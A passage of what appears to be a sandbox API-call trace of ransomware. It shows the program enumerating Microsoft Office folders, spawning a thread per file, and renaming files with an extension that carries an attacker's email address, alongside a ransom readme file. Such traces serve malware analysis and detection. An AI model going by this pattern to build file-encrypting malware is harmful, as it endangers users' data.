RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3b) returned 0x44bb38 [0054.784] SetFilePointerEx (in: hFile=0xf4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.785] WriteFile (in: hFile=0xf4c, lpBuffer=0x44e420*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0xdd3fb68, lpOverlapped=0x0 | out: lpBuffer=0x44e420*, lpNumberOfBytesWritten=0xdd3fb68*=0x11f, lpOverlapped=0x0) returned 1 [0054.786] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e420) returned 1 [0054.786] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bce8) returned 1 [0054.786] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ffe0) returned 1 [0054.786] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb38) returned 1 [0054.786] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ffb8) returned 1 [0054.786] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460030) returned 1 [0054.786] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460738) returned 1 [0054.786] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460008) returned 1 [0054.786] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xce) returned 0x40d898 [0054.786] wcscpy (in: _Dest=0x40d898, _Source="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd") returned="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd" [0054.786] wcscat (in: _Dest=0x40d898, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd.mailto[2Hamlampampom@cock.li].cd46d" [0054.786] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xdd3fb20, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0054.786] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe4) returned 0x96f0008 [0054.788] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f0008) returned 1 [0054.788] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b4358) returned 1 [0054.788] NtQueryInformationFile (in: FileHandle=0xf4c, IoStatusBlock=0xdd3fb2c, FileInformation=0xdd3fb04, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xdd3fb2c, FileInformation=0xdd3fb04) returned 0x0 [0054.788] NtSetInformationFile (FileHandle=0xf4c, IoStatusBlock=0xdd3fb2c, FileInformation=0xdd3fb04, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.789] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d898) returned 1 [0054.789] FlushFileBuffers (hFile=0xf4c) returned 1 [0054.790] CloseHandle (hObject=0xf4c) returned 1 [0054.791] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x446dd0 [0054.791] wcscpy (in: _Dest=0x446dd0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0054.791] wcscat (in: _Dest=0x446dd0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CD46D-Readme.txt" [0054.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\cd46d-readme.txt")) returned 0x20 [0054.791] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446dd0) returned 1 [0054.791] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417110) returned 1 Thread: id = 557 os_tid = 0xfa4 [0049.359] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45e8b8 [0049.359] wcscpy (in: _Dest=0x45e8b8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" [0049.359] wcscat (in: _Dest=0x45e8b8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\" [0049.359] wcscat (in: _Dest=0x45e8b8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\*" [0049.359] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4878c8 [0049.359] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\*", lpFindFileData=0x4878c8 | out: lpFindFileData=0x4878c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f409670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409d68 [0052.194] wcscmp (_String1=".", _String2=".") returned 0 [0052.194] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x4878c8 | out: lpFindFileData=0x4878c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f409670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.194] wcscmp (_String1="..", _String2=".") returned 1 [0052.194] wcscmp (_String1="..", _String2="..") returned 0 [0052.194] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x4878c8 | out: lpFindFileData=0x4878c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21181300, ftCreationTime.dwHighDateTime=0x1c6a343, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21181300, ftLastWriteTime.dwHighDateTime=0x1c6a343, nFileSizeHigh=0x0, nFileSizeLow=0x7925, dwReserved0=0x0, dwReserved1=0x0, cFileName="Author2String.XSL", cAlternateFileName="AUTHOR~1.XSL")) returned 1 [0052.194] wcscmp (_String1="Author2String.XSL", _String2=".") returned 1 [0052.194] wcscmp (_String1="Author2String.XSL", _String2="..") returned 1 [0052.195] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x4eeb58 [0052.195] wcscpy (in: _Dest=0x4eeb58, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" [0052.195] wcscat (in: _Dest=0x4eeb58, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\" [0052.195] wcscat (in: _Dest=0x4eeb58, _Source="Author2String.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2String.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2String.XSL" [0059.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4eeb58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x230 [0059.826] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x4878c8 | out: lpFindFileData=0x4878c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21181300, ftCreationTime.dwHighDateTime=0x1c6a343, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21181300, ftLastWriteTime.dwHighDateTime=0x1c6a343, nFileSizeHigh=0x0, nFileSizeLow=0xfe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Author2XML.XSL", cAlternateFileName="AUTHOR~2.XSL")) returned 1 [0059.826] wcscmp (_String1="Author2XML.XSL", _String2=".") returned 1 [0059.826] wcscmp (_String1="Author2XML.XSL", _String2="..") returned 1 [0059.826] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x439d78 [0059.826] wcscpy (in: _Dest=0x439d78, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" [0059.826] wcscat (in: _Dest=0x439d78, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\" [0059.826] wcscat (in: _Dest=0x439d78, _Source="Author2XML.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL" [0059.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x439d78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c8 [0059.828] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x4878c8 | out: lpFindFileData=0x4878c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sort", cAlternateFileName="")) returned 1 [0059.828] wcscmp (_String1="Sort", _String2=".") returned 1 [0059.828] wcscmp (_String1="Sort", _String2="..") returned 1 [0059.828] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x447760 [0059.828] wcscpy (in: _Dest=0x447760, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" [0059.828] wcscat (in: _Dest=0x447760, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\" [0059.828] wcscat (in: _Dest=0x447760, _Source="Sort" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" [0059.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x447760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11cc [0059.829] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x4878c8 | out: lpFindFileData=0x4878c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 1 [0059.829] wcscmp (_String1="Style", _String2=".") returned 1 [0059.829] wcscmp (_String1="Style", _String2="..") returned 1 [0059.829] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x446550 [0059.829] wcscpy (in: _Dest=0x446550, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" [0059.829] wcscat (in: _Dest=0x446550, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\" [0059.829] wcscat (in: _Dest=0x446550, _Source="Style" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" [0059.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x446550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d0 [0059.831] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x4878c8 | out: lpFindFileData=0x4878c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 0 [0059.831] FindClose (in: hFindFile=0x409d68 | out: hFindFile=0x409d68) returned 1 [0059.832] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4878c8) returned 1 [0059.832] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45e8b8) returned 1 [0059.832] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef018) returned 1 Thread: id = 558 os_tid = 0xfa8 [0049.360] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x4ef4c8 [0049.360] wcscpy (in: _Dest=0x4ef4c8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0049.360] wcscat (in: _Dest=0x4ef4c8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0049.360] wcscat (in: _Dest=0x4ef4c8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\*" [0049.360] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x487660 [0049.360] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\*", lpFindFileData=0x487660 | out: lpFindFileData=0x487660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440de0 [0052.196] wcscmp (_String1=".", _String2=".") returned 0 [0052.196] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x487660 | out: lpFindFileData=0x487660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.196] wcscmp (_String1="..", _String2=".") returned 1 [0052.196] wcscmp (_String1="..", _String2="..") returned 0 [0052.196] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x487660 | out: lpFindFileData=0x487660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x7df6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART1.BDR", cAlternateFileName="")) returned 1 [0052.196] wcscmp (_String1="MSART1.BDR", _String2=".") returned 1 [0052.196] wcscmp (_String1="MSART1.BDR", _String2="..") returned 1 [0052.197] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x4465d8 [0052.197] wcscpy (in: _Dest=0x4465d8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0052.197] wcscat (in: _Dest=0x4465d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0052.197] wcscat (in: _Dest=0x4465d8, _Source="MSART1.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR" [0057.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4465d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f0 [0057.829] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x487660 | out: lpFindFileData=0x487660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x244c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART10.BDR", cAlternateFileName="")) returned 1 [0057.829] wcscmp (_String1="MSART10.BDR", _String2=".") returned 1 [0057.829] wcscmp (_String1="MSART10.BDR", _String2="..") returned 1 [0057.829] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x447d38 [0057.829] wcscpy (in: _Dest=0x447d38, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0057.829] wcscat (in: _Dest=0x447d38, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0057.829] wcscat (in: _Dest=0x447d38, _Source="MSART10.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" [0057.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447d38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd8 [0057.830] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x487660 | out: lpFindFileData=0x487660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x78c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART11.BDR", cAlternateFileName="")) returned 1 [0057.830] wcscmp (_String1="MSART11.BDR", _String2=".") returned 1 [0057.830] wcscmp (_String1="MSART11.BDR", _String2="..") returned 1 [0057.830] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x447650 [0057.830] wcscpy (in: _Dest=0x447650, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0057.831] wcscat (in: _Dest=0x447650, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0057.831] wcscat (in: _Dest=0x447650, _Source="MSART11.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" [0057.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x918 [0057.832] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x487660 | out: lpFindFileData=0x487660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xe584, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART12.BDR", cAlternateFileName="")) returned 1 [0057.832] wcscmp (_String1="MSART12.BDR", _String2=".") returned 1 [0057.832] wcscmp (_String1="MSART12.BDR", _String2="..") returned 1 [0057.832] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x4478f8 [0057.832] wcscpy (in: _Dest=0x4478f8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0057.832] wcscat (in: _Dest=0x4478f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0057.832] wcscat (in: _Dest=0x4478f8, _Source="MSART12.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" [0057.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4478f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe64 [0057.834] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x487660 | out: lpFindFileData=0x487660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x6ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART13.BDR", cAlternateFileName="")) returned 1 [0057.834] wcscmp (_String1="MSART13.BDR", _String2=".") returned 1 [0057.834] wcscmp (_String1="MSART13.BDR", _String2="..") returned 1 [0057.834] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x447100 [0057.834] wcscpy (in: _Dest=0x447100, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0057.834] wcscat (in: _Dest=0x447100, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0057.834] wcscat (in: _Dest=0x447100, _Source="MSART13.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" [0057.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x91c [0057.836] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x487660 | out: lpFindFileData=0x487660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xc8bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART14.BDR", cAlternateFileName="")) returned 1 [0057.836] wcscmp (_String1="MSART14.BDR", _String2=".") returned 1 [0057.836] wcscmp (_String1="MSART14.BDR", _String2="..") returned 1 [0057.836] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x447430 [0057.836] wcscpy (in: _Dest=0x447430, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0057.836] wcscat (in: _Dest=0x447430, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0057.836] wcscat (in: _Dest=0x447430, _Source="MSART14.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" [0057.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd4 [0057.837] FindNextFileW (in: hFindFile=0x440de0, lpFindFileData=0x487660 | out: lpFindFileData=0x487660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x6b14, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART15.BDR", cAlternateFileName="")) returned 1 [0057.837] wcscmp (_String1="MSART15.BDR", _String2=".") returned 1 [0057.837] wcscmp (_String1="MSART15.BDR", _String2="..") returned 1 [0057.837] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x96f8558 [0057.837] wcscpy (in: _Dest=0x96f8558, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0057.837] 